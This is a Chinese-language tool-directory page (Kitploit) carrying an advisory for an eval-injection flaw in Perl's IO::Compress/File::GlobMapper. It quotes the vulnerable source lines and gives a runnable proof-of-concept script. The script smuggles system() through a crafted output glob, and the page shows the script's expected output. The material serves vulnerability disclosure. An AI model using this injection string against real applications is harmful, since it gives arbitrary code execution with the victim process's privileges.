Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-48962 — CVE-2026-48962 - IO::Compress - 代码执行 | Kitploit
工具/GitHubGitHub/joakimbulow/cve-2026-48962
漏洞分析代码分析漏洞利用论文与研究学习与教育
GitHubjoakimbulow/cve-2026-48962

CVE-2026-48962

CVE-2026-48962 - IO::Compress - 代码执行

查看仓库
23个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

摘要

File::GlobMapper::_getFiles() 中存在一个 eval 注入漏洞,允许任何能够控制传递给 IO::Compress::Gzip::gzip()、IO::Compress::Zip::zip() 或任何同类函数的输出文件通配符参数的攻击者,在运行进程的上下文中执行任意 Perl 代码。无需认证。影响是全面的:主机进程的机密性、完整性和可用性完全受损。


详情

File::GlobMapper::_parseOutputGlob() 通过将调用者提供的输出模式包裹在 Perl 双引号中并将结果存储来构建输出文件名模板。然后 _getFiles() 将该字符串直接传递给 eval,没有任何清理:

lib/File/GlobMapper.pm:316–321

root@kitploit:~
$string =~ s/${noPreBS}#(\d)/\${$1}/g;
$string =~ s#${noPreBS}\*#\${inFile}#g;
$string = '"' . $string . '"';      # wrapped in double-quotes
$self->{OutputPattern} = $string;   # stored verbatim — no escaping

lib/File/GlobMapper.pm:342

root@kitploit:~
eval "\$outFile = $self->{OutputPattern};" ;   # executed — injection point

每当 IO::Compress::* / IO::Uncompress::* 函数的 输入和输出参数都是文件通配符字符串(由 < > 分隔)时,File::GlobMapper 会被自动调用。这是一种文档化的常见调用约定。受影响的函数包括 gzip、zip、bzip2、deflate、rawdeflate 以及所有对应的 IO::Uncompress::* 函数。

任何能闭合周围双引号 Perl 字符串的字符——字面量 "、反引号、${...} 或 @{...}——后跟任意 Perl 代码都会被原样执行。


PoC

保存为 poc.pl 并使用 perl poc.pl 运行:

root@kitploit:~
#!/usr/bin/perl
use strict;
use warnings;
use File::Temp qw(tempdir);
use IO::Compress::Gzip qw(gzip);

my $dir      = tempdir(CLEANUP => 1);
my $sentinel = "/tmp/CVE_GlobMapper_RCE_$$";

# Create a legitimate input file that the input glob will match
open my $fh, '>', "$dir/test.txt" or die $!;
print $fh "data\n";
close $fh;

my $malicious = qq(<$dir/out.gz"; system("touch $sentinel"); #>);

print "Sentinel before: ", (-e $sentinel ? "EXISTS" : "absent"), "\n";

eval { gzip "<$dir/*.txt>" => $malicious };

if (-e $sentinel) {
    print "EXPLOITED — arbitrary command executed via eval injection\n";
    print "Sentinel: $sentinel\n";
    unlink $sentinel;
} else {
    print "Did not fire (check error: $@)\n";
}

预期输出:

root@kitploit:~
Sentinel before: absent
EXPLOITED — arbitrary command executed via eval injection
Sentinel: /tmp/CVE_GlobMapper_RCE_<pid>

已在 IO-Compress 2.219 / Perl 5.40.1 / Ubuntu 26.04 上确认。


影响

这是一个远程代码执行漏洞。任何接受用户输入并将其作为输出文件通配符参数传递给任何 IO::Compress::* 函数的 Web 应用程序、API 服务、CLI 工具或批处理流水线都会受到影响。注入的代码以调用进程的完全权限运行。

受影响的人员: 使用 IO::Compress::* 函数并采用文件通配符调用约定,且输出模式来自不可信输入的 Perl 应用程序的开发和运维人员——例如来自 Web 表单、REST API 参数、CLI 参数或由非特权用户控制的配置文件中的文件名模板。

在 setuid 或特权守护进程的上下文中,漏洞利用会导致以提升的权限级别执行代码。该漏洞自 File::GlobMapper 初始版本(≈ 2005)以来就一直存在,并且存在于每个附带 perl 包的 Linux 发行版中。

参考资料

  • https://nvd.nist.gov/vuln/detail/CVE-2026-48962
  • https://github.com/pmqs/IO-Compress/commit/f2db247bf90d4cc7ee2710be384946081f3b4610.patch
  • https://github.com/pmqs/IO-Compress/issues/73
  • https://metacpan.org/release/PMQS/IO-Compress-2.220/changes
  • http://www.openwall.com/lists/oss-security/2026/05/27/4
  • https://github.com/advisories/GHSA-q6wx-vhvq-x7h6
下载工具